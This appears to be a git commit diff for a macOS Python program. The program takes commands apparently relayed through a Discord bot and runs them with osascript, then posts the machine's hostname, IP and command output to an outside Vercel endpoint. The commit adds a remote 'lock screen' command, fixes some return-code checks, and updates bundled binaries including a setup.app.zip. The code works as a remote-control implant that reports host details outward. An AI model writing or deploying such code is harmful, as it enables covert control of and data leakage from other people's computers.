summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rwxr-xr-xdist/main-macbin7454432 -> 7454720 bytes
-rw-r--r--dist/main.app.zipbin7379824 -> 7380136 bytes
-rwxr-xr-xdist/main.app/Contents/MacOS/mainbin7454432 -> 7454720 bytes
-rw-r--r--dist/setup.app.zipbin7372312 -> 7372312 bytes
-rw-r--r--main.py24
5 files changed, 21 insertions, 3 deletions
diff --git a/dist/main-mac b/dist/main-mac
index dd33c1d..928c594 100755
--- a/dist/main-mac
+++ b/dist/main-mac
Binary files differ
diff --git a/dist/main.app.zip b/dist/main.app.zip
index a7dd330..ba5dc4a 100644
--- a/dist/main.app.zip
+++ b/dist/main.app.zip
Binary files differ
diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main
index a6d1b7b..7026c50 100755
--- a/dist/main.app/Contents/MacOS/main
+++ b/dist/main.app/Contents/MacOS/main
Binary files differ
diff --git a/dist/setup.app.zip b/dist/setup.app.zip
index 277e363..99b87e2 100644
--- a/dist/setup.app.zip
+++ b/dist/setup.app.zip
Binary files differ
diff --git a/main.py b/main.py
index c80d9e7..861a9b4 100644
--- a/main.py
+++ b/main.py
@@ -167,6 +167,24 @@ while True:
except KeyboardInterrupt:
continue
continue
+ elif localcmd[1] == 'lock' or localcmd[1] == 'lockscreen':
+ if ossystem('osascript -e \'tell application "System Events" to keystroke "q" using {command down, control down}\'') == 0:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```computer going to lockscreen, cya...```")
+ old_command = command
+ except:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to start lockingscreen```")
+ except KeyboardInterrupt:
+ continue
+ continue
+ else:
+ try:
+ post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to start lockingscreen```")
+ except KeyboardInterrupt:
+ continue
+ continue
+
except:
continue
@@ -198,7 +216,7 @@ while True:
continue
elif localcmd[1] == 'notify' or localcmd[1] == 'notification':
if localcmd[4>len(localcmd)]:
- if ossystem(f"osascript -e 'display notification \"{localcmd[2]}\" with title \"{localcmd[3]}\" subtitle \"{localcmd[4]}\"'"):
+ if ossystem(f"osascript -e 'display notification \"{localcmd[2]}\" with title \"{localcmd[3]}\" subtitle \"{localcmd[4]}\"'") == 0:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Notified successfully```")
old_command = command
@@ -248,7 +266,7 @@ while True:
continue
elif localcmd[1] == 'quit' or localcmd[1] == 'close':
if localcmd[2<len(localcmd)]:
- if ossystem(f'sudo osascript -e \'tell app "{localcmd[2]}" to quit\'') == 0:
+ if ossystem(f'osascript -e \'tell app "{localcmd[2]}" to quit\'') == 0:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Successfully quitted {localcmd[2]}```")
old_command = command
@@ -265,7 +283,7 @@ while True:
-
+ continue
except:
try: